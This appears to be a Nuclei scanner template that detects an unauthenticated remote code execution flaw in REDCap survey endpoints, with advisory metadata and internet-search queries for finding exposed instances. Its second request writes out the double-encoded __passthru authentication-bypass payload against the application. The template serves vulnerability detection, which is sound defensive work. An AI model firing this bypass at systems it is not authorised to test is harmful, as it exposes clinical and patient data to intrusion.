REDCap >= 13.3.0 - Unauthenticated Remote Code Execution via Survey Passthru

id: CVE-2026-90817

info:
  name: REDCap >= 13.3.0 - Unauthenticated Remote Code Execution via Survey Passthru
  author: sudo-a-man
  severity: critical
  description: |
    REDCap versions 13.3.0 through 16.0.48 LTS, 17.3.9 LTS, and 17.4.3 Standard contain an unauthenticated remote code execution vulnerability. The application is vulnerable to an authentication bypass via a double-URL-decoded __passthru parameter (%2569ndex.php -> index.php) on public survey endpoints, which routes requests to internal authenticated controllers. An unauthenticated attacker can abuse this routing flaw combined with PHP filter chains to inject and execute arbitrary code through the Laravel Blade template cache.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code on the underlying server with the privileges of the web application, leading to complete compromise of sensitive clinical and patient data.
  remediation: |
    Upgrade REDCap to versions 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard or later.
  reference:
    - https://www.securifera.com/blog/2026/09/27/survey-says-remote-code-execution-cve-2026-90817/
    - https://github.com/securifera/CVE-2026-90817
    - https://github.com/Farih123/CVE-2026-90817
    - https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-10-07-XMRig-campaign-through-CVE-2026-90817.txt
    - https://www.cve.org/CVERecord?id=CVE-2026-90817
    - https://nvd.nist.gov/vuln/detail/CVE-2026-90817
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-90817
    cwe-id: CWE-73,CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: vanderbilt
    product: redcap
    shodan-query: http.title:"REDCap"
    fofa-query: title="REDCap" || body="redcap_version" || body="/surveys/?s="
  tags: cve,cve2026,redcap,rce,php-filter-chain,vkev,unauth,intrusive,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "surveys/?s=") || contains(body, "surveys/index.php?s=")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: survey_path
        group: 1
        internal: true
        regex:
          - '(?s)\A.*?(?:https?://[^/"''\s<>]+)?((?:/[^/"''\s<>?#]+)*/surveys/)(?:index\.php)?\?s=[a-zA-Z0-9]+'

      - type: regex
        name: survey_hash
        group: 1
        internal: true
        regex:
          - '(?s)\A.*?/surveys/(?:index\.php)?\?s=([a-zA-Z0-9]+)'

  - method: GET
    path:
      - "{{RootURL}}{{survey_path}}?s={{survey_hash}}&__passthru=%2569ndex.php&route=ParcelController%3Ashow"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "no parcel ID was provided")'
        condition: and
# digest: 4a0a00473045022100d8ac37deb8a36ce422edcd1da843bba9019fcffa706ec0bb3aadedb576ee99b7022066397265c38410e21c83754dd490eac2fd66e8d0e82d365b8548bd6b2117b27d:922c64590222798bb761d5b6d8e72950